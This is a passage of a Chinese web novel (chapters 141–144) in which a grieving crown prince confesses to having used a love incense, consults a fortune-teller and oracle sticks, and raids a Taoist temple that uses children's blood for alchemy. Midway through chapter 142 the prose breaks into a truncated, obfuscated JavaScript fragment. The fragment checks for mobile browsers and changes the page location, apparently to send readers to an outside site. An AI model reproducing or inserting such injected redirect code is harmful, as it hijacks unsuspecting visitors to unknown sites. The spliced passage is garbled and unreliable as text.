“殿下，你这是失心疯了吗？你这不分青红皂白打人，你还怎么审案子？又让我怎么上报给父皇！”
他愤怒一掌，重重拍在桌案上。
堕落没错、消沉没错，可穆元基就是不能看，未来的一国之君，竟然如此这般糊涂。
“难不成，你忘了小时候的诺言，要做一个昏君吗？”
面对他的质问，穆轩岚只是淡然看着、听着，直到他说起小时候的事情，他这才来了点兴致。
他本以为，穆元基这辈子都不会跟自己提起，那尚未兄弟阋墙的时光了。
没成想，他今天倒是提起曾经了。
“该怎么汇报便怎么汇报，实话实说是什么还需要我教你的事情吗？”
穆轩岚起身，朝他走去。穆元基不自觉地后退，却被穆轩岚钳住肩膀制止。
“都说本王自小接受的是帝王教育，那你可知这其中要义是什么？”穆轩岚目光灼灼，看起来并未开玩笑。
若是跟寻常皇子说，那穆轩岚或许会被认
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为在炫耀他高不可攀的身份，穆元基却不会。
穆轩岚自小接受帝王心术熏陶，而穆元基则是从小就被教导成为一个良臣，他从未际遇过皇位。
因此，他现在只是疑惑，穆轩岚为什么要问自己此事。
“我怎么知道？”穆元基没好气地回复他，眼神却怂得不敢跟他对视。
“是断然不能后退。身为帝王，做出一个决断，那就不要后悔，也不能后悔。”
穆轩岚手上用力，捏了一把他的肩头，转瞬间悄然松手，神情淡然地跟他讲起，足以倾覆朝局的事情。
“你若是有意，未来这江山给你也好，你觉得呢？”
穆元基顿时手脚冰凉，他怒火上头，直接冲过去攥住穆轩岚的衣襟，他尽量压低声音，却难掩话中的怒火。
“你是真的疯了！让父皇听到这话，你没有好果子吃的！”
穆轩岚站在原地，他冷哼一声，低头看了一眼，穆元基就赶忙把手松开，顺便往后退一步，拉开了距离。
穆轩岚整理一下胸口的衣服，神情复杂地开口。
“不要整日把父皇挂在嘴边，我们应该为自己活，而不是为了天子而活。”
穆元基瞪大眼睛看着他，眼神似乎在看一个陌生人。
这话谁说出口都行，可唯独他穆轩岚说不合适。
他的一切皆是天恩浩荡，他说这话，无疑是在给皇上递刀，递一把能杀了他的刀。
“滚，你们这些人都滚出去！”穆元基呵退守卫，在侍卫走之前，穆元基还威胁他们，“若是把今天的事情说出去，那就有一个算一个，全都推出去砍了！”
偌大审案厅只有他们二人时，穆元基卸去浑身气力，一改往日趾高气昂的样子。
他转身倚上墙壁，仿佛十天没吃饭，就要饿死的难民一样，站都站不直。
“若是我不知道小时候的你，我会觉得你是因为秦千千疯的……现在我只能说，你还是跟小时候一样。”
是个疯子。
穆轩岚没有回答，却勾起唇角浅笑，仿佛对这话很受用。
有个问题，穆元基一直没问，他看穆轩岚现在什么都不在乎、连生死都快置之度外了，穆元基决定问出口。
“你和她最后相处的那段时间，是真心待她的吗？”
若是真心，那曾经拥有过，也比自己这个从未拥有过的人，幸运太多了。
穆元基饱尝单相思之苦，他用尽百般手段，却未曾得到过楚风一个笑容……
于是当他想起穆轩岚在秦千千弥留之际，还能与她心意相通，躲在山中不知年岁，虽说只有几日，可要是换做他，死也值了。
“我自然是真心待她的。”穆轩岚当即回答，一秒都不犹豫。
穆元基却微蹙眉头，眼神像一把利刃，朝穆轩岚飞去。
“你还是用了馥配香，对不对！”穆元基攥紧双手，好像给他发现了真相！
馥配香，是一种闻了能让人神魂颠倒，不自觉喜欢上眼前人的奇香。
穆轩岚缓缓闭上眼睛，眉间的忧愁更甚一层。
是啊，这是他最后悔的事情。
以至于他分辨不清，千千到底是真的喜欢他到不行，还是中毒已深并非真情……
141. 偶尔玄一玄也未尝不可
此事穆轩岚谁都没有说，也不会有人知道。
那几日，他都是在夜深人静时起身点香，不会有人发现此事。
其实一切都很完美，按照他的计划，不管姜千秋那边结果如何，他都留定了秦千千。
时至今日，他也不在乎承认，自己就是比穆元基还极端，这是他和穆元基心照不宣的秘密。
从小到大，相对循规蹈矩的，一直是穆元基。而他穆轩岚，自小就是更为顽劣之人。
不过他从小聪颖过人，学乖顺也不是什么难事，这才有了现如今深沉冷静的穆轩岚。
被穆元基戳破最大的秘密，他也不恼，反而松了一口气。
这秘密压得他透不过气来，如今可算是松泛一些了。
再度睁眼时，穆轩岚的眼中已经满是清明。
那其中的冷峻让穆元基有些瑟缩，他知道，这人一旦露出这个神情，就代表他要下死手了。
不管是对别人，还是对他自己……
“是有如何？唯一能追责本王的人，已经……不在了。”
说到这里，穆轩岚的眼神晦暗。穆元基太懂那种落寞的眼神了，自从对楚风爱而不得后，他几乎天天都是那种表情。
转眼间，穆轩岚表情又狠戾决绝起来，他朝穆元基走来，嘴角上扬的微笑，却让人越发觉得诡异。
“别人不知道，你穆元基还不知道本王的脾性吗？我想要的，那就必须要得到。”
被他亦步亦趋逼到退无可退，穆元基无奈地轻笑一声，不仅是在嘲笑穆轩岚，也是在嘲笑他自己。
“所以呢？皇兄，从小要风得风、要雨得雨的我们，又真的获得想要的东西了吗？”
于他自己而言，楚风远走江湖杳无音讯；对穆轩岚来说，更为残酷，秦千千不仅死了，青冢也并未留在这里。
穆元基知道说出这话，他有可能被打死，可是觉得活着没劲儿的他，现在什么都不在乎了。
这些质问，让穆轩岚失语了片刻。
穆元基认为像穆轩岚这种，一辈子未尝一败的人来说，事情失控就足够让他们崩溃的了，更别说，还是设计心上人这种的终身大事。
谁知，穆轩岚却不在乎地嗤笑。
“你太浅薄了，穆元基，你那不叫爱。真正的爱是尊重她，你若是真的爱楚风，那就应该放她自由。而我，没有强行留下她，也是尊重她的意愿而已。”
说罢，他转身回到桌案边，朝外面一招手，元德不知从哪压着人冒出来。
穆元基远没有到醍醐灌顶的境地，他心中突然很怅然，仿佛心突然空了一块儿。
他木讷地走到原本的位置，审讯进行到何种地步，他已经不关心了。
说起话来头头是道，其实穆轩岚心中也晃神了一瞬。放走千千的原因，只有他自己知道，而且并非他说的那般冠冕堂皇。
他不能再强迫千千了，不然，她真的不会再原谅自己了。
那人跪在地上，眼神却相当桀骜不驯，他扫视过在场的所有人，最终目光停在穆轩岚身上。
“交代你的情况，姓名，跟清风酒楼是什么关系，知不知道那些人是干什么的。”元德按照流程提问。
他却咂摸着嘴，十大板虽说收着力，但还是实打实挨到了身上，他的跪姿已经不如刚刚挺拔了。
“大官，我没名没姓只是个乞丐，当时清风酒楼免吃免喝，我自然得去蹭顿饱饭了。”
“你为何来便让讨打？”穆轩岚问他。
那人嘿嘿一笑，竟没大没小地盘腿坐在地上，姿态肆意地回答他。
元德正想整治他，却被穆轩岚抬手制止。
那人双手掐诀，搭在自己两侧的膝盖上，一脸高深莫测地回答他。
“那是我看出殿下，来也不是为了审案，就是为了打人解气而已。那群蠢货还想是自己说法不对，哪句话犯了忌讳——
其实都不是，纯属是殿下心意使然。”
“你不要太放肆！”元德指着他暴怒，敢在自己面前诋毁殿下，他想死自己可以送他一程。
那人被吓得一颤，穆元基也才堪堪回过神来。
穆轩岚却微扬眉头，心中惊叹有意思，竟然还真给他猜对了。
既然千千关押这些恶贯满盈的人，但尚未处理他们，那自己拿来泄泄愤，也情有可原。
“那你能看出来，本王想问你什么吗？”
穆轩岚淡然开口，问题却听得穆元基头皮一紧。
他最害怕皇上的这种问法了，压迫感十足，而穆轩岚现在又疯又平静的样子，威压比起皇上，只多不少。
乞丐却笑着摆了下手，拍了拍自己的胸脯。
“殿下什么都不想问我，但我却有什么想跟你说。”
乞丐原本也不是乞丐，可有天他无意捡到一本窥探天机的书，研究那书入了魔，他便整日游荡在江湖上。
失了姓名，失了身份。
他最喜欢给人看事，算过去、看将来，他看出什么就会告诉那人什么。
“那天我告诉酒楼的老板，她大祸临头，定会身死命殒，若是早些逃，说不准还有的救。”
穆轩岚眉头紧锁，事关秦千千，他不由自主格外认真。看殿下这么认真，乞丐自然不卖关子，这时候卖关子，是要被打的。
“结果她却笑笑朝我摆手，说我学艺不精，怎么就看不出，她压根没打算跑。还说相逢就是缘，请我进楼吃饭。”
“殿下，本人有个毛病，看到什么，我就会告诉人什么。说完您想听的，我想说点我想说的。”
元德本想阻止，可奈何殿下想都没想就点头，那他只能不再作声。
他只是担心，若是这乞丐说出什么不该说的，犯了殿下忌讳，把殿下身体气坏了可怎么办？
“那不如从这位王爷说起，命中有妻，你要待她好些，放下那些不必要的偏执，不是你的，终究不是你的。”
乞丐没有问穆元基想不想听，直接一股脑说了出来。
穆轩岚转头看了眼穆元基，他表情很难看。不过也正常，往常这般劝他的人，都被他连打带骂赶出去了。
一旁的元德更是揪起了心，这家伙看着有点本事，那他最好知道什么该说，什么不该说……
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“再说说您吧，殿下，或者我可以直接叫您国主，你一生无后……”
“放肆！”元德忍无可忍，冲上去就要打他，却被穆轩岚呵止。“殿下，他……”
穆轩岚扫了元德一眼，元德立马闭嘴。不得不说，他这话倒让穆轩岚来了兴致，他起身朝乞丐走去。
“继续说。”
“大官你误会了，我说的‘无后’，意思是皇后之位空缺，至于子嗣方面，国主怎么会没有子嗣呢？”
乞丐这番解释，却让穆轩岚顿时不乐意起来，前者他忍，后者则是胡说八道了。
千千亡故，他日后哪怕继承大统，也不会立后。可若说他再与别的女子诞下子嗣，那是万万不可能的事情。
这下元德也不知道该怎么说了，他低头不敢看殿下。
现在谁冲出来说，殿下会跟别的女子生儿育女，别说殿下生气，他听着都有些生气……
穆元基也眼神复杂地看着乞丐，这人或许有那么两份本事，可完全用错了地方，更是说错了话。
穆轩岚站定在他身前，居高临下地看着他，好似审判一般开口。
“无稽之谈。”
“……”那乞丐反应一会儿，才发觉少补充一点，“殿下对某个人情根深种，这我知道，可我说的就是你和那人的孩子啊……呃咳咳……”
穆轩岚一脚把人踢翻在地，用力踏着他颈侧，一用力就能把他脖子踩断。
元德和穆元基赶忙跑过去，这下麻烦大了，这不拍马屁拍到马腿上了吗？
“发誓。”
不等另外两个人劝阻他，穆轩岚便冷着脸开口。这下除了穆轩岚，剩下人都愣住了，发什么誓？
“殿……下，你要我发什么……”
“你发誓，保证你说的话千真万确。”穆轩岚少有言辞急切如此，他甚至没听乞丐说完。
身后的穆元基绝望地闭上眼睛，这人是真疯了。元德也抿紧嘴，不知道该怎么办。
乞丐立马三指起誓，听到是天打雷劈的毒誓后，穆轩岚这才松开脚。
他转头吩咐元德，把这人带回去严加看管，然后就火速离开了。
折腾了一夜，穆元基没空再管他要去哪里，要干什么，他上轿回府。
天光微亮，纵使是勤于修道的牧九明，也并未起床，可穆轩岚等不到他自然醒，直接冲进房中把他叫醒。
“哎呀殿下，你作甚！”牧九明披好道袍，脸皱作一团地抱怨。
“我要来求一个紫竹神签。”
牧九明眼珠都快瞪出来了，他也知道那是紫竹神签啊？
上万根竹子才能出一根紫竹，用那做的谶签金贵的不得了。
可上次让十五岁的穆轩岚求签，他硬生生掰折三根紫竹神签……
“……殿下，你这次不能跟上次一样，抽到不好的签，就要把我的竹签折断啊！”
牧九明不能拒绝他，只能再三叮嘱他。
这家伙不是不信神明的吗？怎么又开始嚷着求签了？
穆轩岚推了他一把，让他赶快去。
“啰啰嗦嗦的，快些去拿来。”
142. 酒不醉人人自醉
牧九明只好去道祖圣像后面，把玉制的签筒抱出来，放在桌案上后，他不放心地看着穆轩岚。
“殿下，心中默念要问的事情，然后抽出……哎！”
穆轩岚抬手就去抽，他要来问的就一个问题。牧九明阻挡不及，便只能由着他抽出来。
【中平：音信远至，游子未归，此乃一切皆举棋未定之象】
牧九明站在旁边看清谶文，心中喘了一口气，还好，如此看来也算是吉签。
谁知穆轩岚却并不开心，他皱眉看着那“中平”二字。
“殿下，需要我帮你解解签吗？”牧九明转头问他，手也浑然不知地握住签文，准备把签文抽走。
穆轩岚扫了他一眼，便把签文还给了他。
“放心，本王这次不会再把它掰断了，你看看你那小气的样子。”
来都来了，穆轩岚看了眼地上的蒲团，直接过去跪在上面。他双手合十，看着高高悬挂的道祖圣像。
一旁的牧九明差点惊掉下巴，要知道穆轩岚可是除了父皇母后谁都不跪，谁都不信的人，现如今……
“本王刚刚只求了一件事，还能不能再跟她见一面……，道长，解解签吧。”
穆轩岚从蒲团上起来，虽然在跟牧九明说话，可他抬脚就往外面走，牧九明只好跟过去。
鉴于签是好签，所以解读起来，倒是没有什么问题。
只不过，牧九明对另一种解读却忧心忡忡，看着已经走出殿门的穆轩岚，他决定先挑好点的说。
“殿下，想必你也可以看明白，签文很有希望的意思，结合现在不容乐观的局势，更是有破局之意。”
穆轩岚抬头看着远处天光乍破，心中甚是感慨。“举棋未定”四个字，的确让他心中微起波澜，而牧九明的话，也正是他想听的。
他缓缓点头，反正人都是活个念想，即使今天不来求签，他也会一直抱着那念头的。
牧九明还没来及高兴，却被他一句话掐断念想。
“我和她总会见面的，阳间不行，那我就追到阴曹地府去。”
牧九明缓缓闭上眼睛，他就担心给这人产生这种想法，不过他能这样想，也证明他理智尚且在线。
毕竟尸身都已经在那里了，要魔怔到什么程度，才能对她起死回生抱有期待呢？
不知该如何安慰他，牧九明索性跟他聊起别的事情，有关玄阳道的事情。
“你回京时间不长，又要事缠身，你可能不太知道，皇上现在对玄阳道过度依赖。可你现在应该清楚，皇上时日无多，所以……”
他想跟穆轩岚说，暂时不要动玄阳道，斩断皇上姜千秋那边的寄托后，唯独给他剩了玄阳道一条路，哪怕是死路，也得让他走。
现在的情况，很可能是谁戳破幻想，皇上就要跟谁急的。
穆轩岚想到一件事情，他莞尔一笑，神态轻松地跟牧九明分享。
“那是自然，元德他们查也都是在暗处查的，近期本王可没心情跟那些老道斗。只不过，有个事情你应该知道。”
他倚在廊柱边，眼尾含笑地开口：“姜千秋给了我一个方子，是诊疗皇上身体的方子……”
牧九明的心都揪到了嗓子眼，可看穆轩岚的样子，他心中已经有了猜测。
“你不会是把方子扔了吧？”
穆轩岚单挑眉尾，算是回答。牧九明记得原地踱步，他唉声叹气好半天，又左顾右盼生怕有外人听到此事。
“那就是她没有给你！你也别癔症得到处说此事了，不然，总有人会诽谤你，到时候，被你毁的方子，就不是什么治病药方，而是长生不老药了。”
牧九明压低嗓音，欲加之罪何患无辞，纵然他现在是最受宠的皇子，得罪了危在旦夕的皇帝，也没有好日子过。
穆轩岚无所谓地看了他一眼，这些他自然懂，都说道士修个清心寡欲，这牧九明的情绪波动比自己都大。
“放心吧，之事跟你说一声，泄泄愤而已，目前知道此事的，应该就三个人。动气，小心气坏了身子。”
牧九明抱臂皱眉瞪着他，“你还好意思提醒别人注意身体，我认识你这么多年，你身体就没这么差过。近来无事，还是在家好好调养一下吧。”
穆轩岚点头，若是给他知道自己昨夜一夜未睡，这家伙指不定又要怎么唠叨自己，想到这里，穆轩岚就先一步离开了。
元德在道观门口候着，看殿下出来，便立马上前扶他。等两个人上了马车，他才小声汇报各方情况。
“王老怪今日中午便能回来；玄阳道那边，的确有了些眉目；至于姜千秋，她整日神出鬼没的，前两日倒是出现在了嘉松别苑。”
穆轩岚呼吸一滞，她怎么会到那里去？
他和元德都清楚，姜千秋但凡被探察到的踪迹，都是她故意泄露出来的。
经历那么多事情，穆轩岚再不想承认，也不得不承认，姜千秋做的每件事，都是有意义的。若是当下没有发现什么意思，那便是时机未到。
之前秦千千经常跟他说这话，他开始还不以为然，以为那是她对姜千秋过度崇拜的偏见。
现在发现，她说的其实都对。
“吩咐夏念烟和莫凝歆，她们两个心细如发，去嘉松别苑看看有没有什么异样，府中的丫鬟侍卫们，也都好好盘问一番。”
经过在外波折数月，穆轩岚现在对夏念烟和莫凝歆的做事极为放心。
有人的印象扶摇直上，那就有人的印象急转直下。
穆轩岚突然想起，任务途中那个漏洞百出的暗卫——季春霖。
巧的是，元德也在心中念叨起他的名字。
季春霖自打任务结束后，就自觉被囚禁在牢狱中等待刑罚。元德抽空去看过他两次，作为暗卫，他们不该对普通人有仁慈之心，季春霖犯了大忌。
旧事重提，穆轩岚却不想再追究什么了，想起今日的签文，他决定再为将来留个念想。
“元德，去放了季春霖，外出途中效力的暗卫，论功行赏，有过错的也轻轻揭过便是。”
轿子行进平稳，元德立马跪地替同僚叩谢恩。
穆轩岚轻叹一口气，他抬手拉一把元德，就把人拉了起来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15065682|148501||http|test|mini|href|location''.split(''|''),0,{}));
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跟着他尽心尽力这么久，元德从未有过一句怨言，别人尚有休整喘息的机会，元德可是从未有过懈怠的。
“这些年你也辛苦了，别动不动就跪着的，这几天我们都在府中好好休整一番，闭门不出，谁也不见。”
王老怪先行一步，他先到府中时，运送酒的车队还没进城。他平时潇洒管了，见穆轩岚从来不行礼的，更别说平时自处的时候了。
看正厅没人，他自顾自地坐下，招呼丫鬟给他倒水。穆轩岚和元德正好转过屏风，看到大大咧咧倚在那里的王老怪。
“来得正好，元德，可以招呼人往府中抬清风酒了。殿下，你可是不知道啊，为了运送这酒，也废了我们好一番功夫呢。”
山路颠簸，不好好包裹每个酒坛，说不准走一路就碎一路……这代价王老怪可承担不起，于是他只能用小被子裹住每一个酒坛，再彻底捆扎好排列在车上。
穆轩岚嘴角挂着浅笑，十分捧场地夸他：“还是你有办法，我本来还担心路上会颠碎呢。”
王老怪稍稍缓过神，他表情有些担忧地看着穆轩岚。
“殿下，还有个不是那么好的消息，我得提前告诉你。”
往常酿酒的坛子都是十斤二十斤的大坛子，可清风酒楼的酒，都是黑陶小坛。别说五斤，估计一坛酒两斤都够呛。
王老怪看着数量骇人的酒，愣是一坛都没敢喝，这一路上，光买酒就花了穆轩岚不少钱。毕竟，都是随行暗卫替他付的账。
穆轩岚心下了然，那边的车队也已经到了门口，元德便张罗人去搬酒，他站在一旁千叮咛万嘱咐，小心，一定要小心。
“无妨，有总比没有好。”留下这句话，穆轩岚也走过去查探。
这一看才发现，跟千千当初说的一样，坛身通体发黑，看来是用她们特质的方法，专门做的坛子。
比起她在璃光海带出来的酒坛，这个坛子明显要小很多。
元德提起一坛酒，过来递给穆轩岚，穆轩岚接过那坛酒，转身离开。
王老怪看他脸色阴沉，知道他肯定心中不好受，便立马跟上他，死乞白赖地黏着他。
“殿下，冬芸去哪儿了，我怎么没见到她？”
“哦，我把她送去学堂念书了。本想请先生来府中教她，她说不喜欢一个人学。”
穆轩岚边端着酒，边跟王老怪解释，发觉他亦步亦趋跟着自己，穆轩岚就猜出他的用意。
于是，他故意曲解王老怪。
“你跟着我，是想一起去喝这个酒吗？”他转身看着王老怪，王老怪抓耳挠腮地不知道该怎么说。
“是……，也不是……，算了，就当是吧。”
本想抱着一醉方休的架势去的，结果谁知一坛酒都见了底，对坐的两个人还清醒的不行。
王老怪对上穆轩岚考究的眼神，他咂么着嘴感叹：“酒味香醇，入口回甘，可就是一个毛病，怎么喝不醉人？”
穆轩岚低下眼睑，敛藏眼中的失落，他声音闷闷地开口：
“都说酒不醉人人自醉，我今天算是知道其中的含义了。”
143. 撞了他的逆鳞
穆轩岚认为，这是千千阴差阳错之下，留给自己的惩罚。都说一醉解千愁，但他却没有醉的权利。
王老怪看出他心中还是郁结难解，便重重叹了口气，引来穆轩岚的目光后，这才开口说话。
“都说皇子自幼饱读诗书、各个冰雪聪明，尤其是三皇子，更是超脱兄弟一大截。最近我观察下来，殿下也不过如此嘛。”
王老怪这么说，本意是想让他反驳自己，自己再借此机会指点他一二，谁知道天纵奇才的穆轩岚，就这么认下来了……
“是啊，原本我自诩聪颖过人，礼仪纲常、世间俗事，我以为我早就明白透彻，不会为外物所困了。但我错了，我大错特错了。”
他这番诚恳到歉疚的自白，是王老怪万万没想到的，他用力挠挠脑壳，可不敢让他这么说。若是秦千千在世，早就帮趁着他骂自己了。
“殿下，我说着玩的，你可千万不要这么说！我其实想说的是，其实你早就知道该怎么做，只不过你一直拒绝那么做罢了。”
斯人已逝，过分悲春伤秋并没有意义，普通人可以因此沉沦一段时日，可他是皇子，更是一国之储，旁人能做的事，他不能。
身份限制了他诸多事情，比如，他无法为秦千千报仇；
再比如，他也无法自甘堕落，他还有自己的路要走。
王老怪虽然之前不知道他的日常，可他敢断言，最近这段时日，是穆轩岚一生中最混乱的时光。
当然，自从认识秦千千开始，便是他人生的转折，而那段相伴时光，肯定也是穆轩岚人生中不会再有的光景。
“越美好的东西，我们就要越用力去铭记。可殿下，沉浸在过去中是没有意义的，除了徒增悲伤，还有什么用呢？”
几个月前，若是有人跟王老怪说，他会被储君殿下奉为座上宾，会跟储君彻夜长谈，甚至会对养尊处优的储君产生无边的同情，他只会觉得那人在胡扯。
可现在，他的确很心疼穆轩岚。
世间之事，情字本就难解，心有歉疚的情，更是药石无医。更别说，用情至深时，被哄骗的一方却不在了……
光是想想，王老怪就头痛欲裂，更别说穆轩岚这个处在漩涡中心、自认亏欠她的人了。
没吃过苦的人，一上来就尝了最难的苦。
穆轩岚没有答话，他晃晃手中的酒瓶，而后朝元德招手，元德赶忙又递过去一坛。
“殿下，您晚膳还没吃……”站在一旁的元德发现，桌上的下酒菜穆轩岚一口没动，他只是一味地喝酒。
王老怪也忧心忡忡地看着他，这么下去，身体早晚要垮。
穆轩岚左右扫了他们两眼，读懂他们欲说还休的心意，他无奈地笑了一声。
“即使我不能为此悲恸一辈子，伤心几天，应该是可以的吧？等我把清风酒喝完，我就再不为此事伤心了。”
在场三人都清楚，明月醉只有这么些，丁芮熠不知道酿酒的方子，自然也就无法再酿出明月醉。
况且他们几乎是跟秦千千天天在一起，也并未从旅途中得知清风酒的原料确切产地，也就是说，整个江湖上的清风酒和明月醉，全都消失了。
王老怪心中一横，既然他都这么说了，那这几日就由着他喝。伤心把心伤穿，也就不会再悲伤了。
至于自己，应该可以为他尽一份力。
“哎？”王老怪把杯子伸过去，谁知穆轩岚却把他的手推开了。
“元德，给王老怪取两坛十年佳酿。”
除了这话，穆轩岚什么都没说，但他其实什么都说了。
王老怪气得直哼哼，但也只能理解他，关键是，他得给十年佳酿面子呀。
穆轩岚在府中闭门不出，别说王公大臣见不到他，就连同处一府的王老怪，一天都见不到他一面。
正巧，王老怪在回廊碰到了元德，两个人边走边闲聊。
“怎么样了？这都三天了，他把明月醉喝完了没？”
“殿下他……自从那日跟你月下畅饮后，他就再没喝过老板留下来的酒，不过，精神倒是一日好过一日了。”
元德日日守着殿下，看到他渐渐恢复容光焕发，便打心底里高兴。他环顾四周没有人，才把手拢在嘴边跟王老怪耳语。
“就是殿下最近在写书，一页一页的装订成册，凡事亲力亲为，连磨墨都不让我替。”
王老怪啧啧称奇，他不会是想把曾经的时光写下来？仅供他自己回味？
“我就瞟过几眼，上面写的的确是那几个月的见闻，只不过那是第一本……”
“等等等等，他还写了不止一本？”王老怪伸手拉住元德的胳膊，愣在原地。
他惊讶中没注意嗓音，吓得元德赶忙朝他嘘气。再度观察四周没人后，元德这才继续说。
“不然呢？殿下两天就完成一本了，现在一本在写呢！只不过，这一本他好像很是纠结……”
从他不时窥探的字句中，元德拼凑出这本到底在讲什么：是在记述秦千千的生平，以及她讲过的那些故事。
王老怪失了神，坏了，再让他这么固执下去，人早晚不得疯了吗？他不能让这种事情发生。
两个人火急火燎地去书房找穆轩岚，谁知还没进屋，穆轩岚却正好踏步出门。
“你们两个火急火燎的干什么呢？”
王老怪险些撞到他，穆轩岚往后退了一步，神色不悦地问他。
“哎？你怎么出来了，我正好有事找你……”
“你的事没有本王的事儿重要，走吧，一同去玄阳殿走一遭。”穆轩岚不等他说完，便开口打断他。
正事要紧，再说他终于恢复些心力，王老怪他们开心还来不及，自然是立即跟着他走。
一炷香之前，穆轩岚收到暗卫禀报，玄阳道人在城外五十里的道观中，秘密押送去一批人，而且还都是孩童。
这几天暗卫那边的消息，他叮嘱越过元德，直接汇报给自己。元德也疲累许久，是时候让他歇歇了。
再者，元德整日无所事事地找王老怪聊八卦，穆轩岚想，他应该也休息够了。
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元德没想到，殿下心中全都有数，他羞愧地低下头，在心中盘算，殿下会不会知道自己偷看他写书之事……
“这批暗卫，是本王亲信，皇上那里并不会知情。所以，我们只是去走个过场而已。”
若不是穆轩岚这么说，王老怪还真会觉得，他们就是去端了贼人的老巢的。不过他转念一想，倒也合理。
现如今玄阳道背靠皇上，穆轩岚不好跟皇上对着干，那可是他老子。
昨天夜里道观就被围了个水泄不通，晋经想递消息也递不出去。再加上门外那些蒙面人，话也不说，也不闯进来，单单在围住道观。
晋经就知道，这是有大人物要来此地。
他在殿中打坐一夜，心中盘算来人究竟会是谁，最终他心中只有两个答案：穆轩岚或者穆元基。
别的皇子软弱无能，唯独这两个还有些本事，其中穆元基向来跟他们玄阳道不对付，穆轩岚并未流露过他对宗派的意见。
因此，晋经觉得，是穆元基的概率很大。
可当站在殿门口，看到拾阶而上渐渐露头的穆轩岚时，他心中一紧。
坏了，是比穆元基更难缠的主儿。
“贫道拜见殿下，不知殿下前来，有失远迎，罪过罪过。”晋经一手捧拂尘，一手掐诀朝储君殿下行礼。
穆轩岚打量着跟自己年纪相仿，却蓄起长髯显得十分老成的一个道士，和颜悦色地开口。
“道长，不介意本王来这里参拜一下吧？”
晋经知道穆轩岚心细如发、谋略过人，再说门口圈圈层层的守卫，也证明他今天不是来参拜的。可他除了同意，没有别的办法。
“当然可以。”晋经侧身摆了个“请”的手势。
穆轩岚却站在原地不动，他一挥手，门外站着的暗卫便行动迅速地踏进殿门，四散搜罗去了。
他走到面色凝重的晋经面前，驻足唤他：“道长，前面带路吧。”
晋经只能打碎了牙往肚子里咽，他认命地走在前面，引他们去正殿。
穆轩岚的身份摆在那里，他不能拜也不会拜，元德和王老怪更别说了，要不是跟着殿下来，他们压根就不会进殿的。
晋经站在殿中，平日在这里打坐的道人都挤一排站在旁边，穆轩岚没有再问，他盯着桌上的一个签筒，抬手指了下那个。
正在王老怪没看懂他要干嘛的时候，晋经已经过去把签筒抱了过来。
王老怪在心中不住感叹，他可真是金贵啊，抬抬手别人就知道他要干嘛。
现在看来，能见到自食其力的穆轩岚，也真是难得。想想他们在巡商路上的遭遇，应该是这尊贵至极的家伙，人生中最辛劳的一段日子了吧？
在王老怪感叹人各有命的时候，穆轩岚随意抬手抽了根签，寻常人抽了签都要求道长解签，穆轩岚却自己执签在看。
“呵！”他不屑地冷呵，抬手就把签扔在地上。
晋经这才看到签文：【下下签】。
他心想，完了，这下全完了……
144. 意料之外的别离
王老怪凑上前，歪头看了看地上的签文，扫了一眼后，他立马双手交叉在腋下紧急后撤一步，还惊骇地倒吸一口凉气。
“你们这道观签不灵啊！”
他看热闹不嫌事儿大地开口，反正殿下也不会真的把他们怎么样，只是恐吓而已。
“刚刚是贫道的问题，是我没有……”
“少见，道长竟然还要为签文道歉，那倒不如，跟本王说说这件事情的缘故。”
时隔多日，穆轩岚总算一改往日惆怅，找回了一些睥睨天下的感觉。
穆轩岚侧身看向殿外，暗卫围着十几个孩童，站定在院中。他转头凛了一眼晋经，晋经立马低下头颅，不由自主地颤抖。
别说他颤抖，王老怪对上穆轩岚的眼睛，都心中一寒，那其中压迫感太强了。
王老怪敢摸着良心说，若穆轩岚一直如此的话，别说跟他做朋友，就是说句话，自己都得在心里润色半天。
这么想来，他突然很好奇，穆轩岚本人究竟是是眼前盛气凌人的天之骄子，还是之前那般温润如玉的贴心公子呢？
晋经跟着师父什么大场面没见过，可现下他还是被吓得双腿发抖，几乎站不稳。
一是因为穆轩岚眼神太过凌厉，二是由于，晋经知道他们现在在做的事情，是天道不容的，捅出去，就是天大的篓子。
虽然师父一直告诉他，天塌下来有师父师兄顶着，可他还是害怕。
正是由于胆小，师父才没有带他进宫，而是让他留在这不显眼却重要至极的地方，镇守大后方。
看着他一副惊吓过度的样子，穆轩岚挥了下手，元德立马过去提溜着他，把人拉去院中。
殿里簇拥在一团的道士们，看他们准备出去，便窃窃私语起来，穆轩岚骤然抬眼，看着祖师爷脚下的那些人，他们马上不再吭声。
“乱说乱动，格杀勿论。”
说完他就转身离开了，暗卫训练有素地跑进殿中，把那些个道士围住。王老怪咬紧嘴唇，跟上穆轩岚。
现在他才明白，自己完全没理解“走个过场”的真实含义。他原以为吓吓就是了，没想到，还是要杀人。
……不过谁让他是储君，杀几个人也没什么奇怪的。
穆轩岚甫一出殿，晋经就立即跪在地上，他满脸懊悔地表示，愿意坦白所有事情。
“那就少废话，快些说！”王老怪抢先一步逼他。
别的不说，狐假虎威，真爽！
晋经立马事无巨细交代起来，从玄阳道如何获得皇上重视，到整个门派开始做邪魔外道的事情，最后开始用人血炼丹，他全部都交代了。
穆轩岚一边听他的话，一边在院子中踱步，走到正殿左侧时，他仰头看到一株百年苍松。
那一瞬间，让他晃神想起嘉松别苑中的那颗，自然也想起嘉松别苑中的那几日。
恍若隔世，又如美梦般不真切。
“什么？你们就拿小孩子的血去炼丹！那吃了能治什么，真是太可怕了。”
炼丹王老怪一点不懂，可药材医术什么的，他还是略知一二的。那丹药再配上人血，他实在想象不出，这配在一起能治什么。
晋经跪在地上，他羞愧地低头，不敢抬头看任何一个人。王老怪看着院子中，饿的面黄肌瘦的孩子，元德看着殿下，等殿下发号施令。
“事到如今，还不说实话？你是觉得，本王很好糊弄吗。”穆轩岚话中并未有一丝愠怒，可说出的话，却让人心颤。
该死！
晋经在心中骂了一句，仗着没人看得到，他目光中流露出一丝奸恶。
明明是早就商议好的说法，怎么会糊弄不了他？
看他一言不发，穆轩岚给元德递了个眼神，两名暗卫直接把晋经按在地上打。
长鞭挥舞，噼啪的破空声一声连着一声，没一会儿就把他背后打得血肉模糊。
刚开始晋经还忍住没吭声，后来他什么都顾不得了，在地上乱爬着挣扎。
在人昏迷前，元德喊了停。
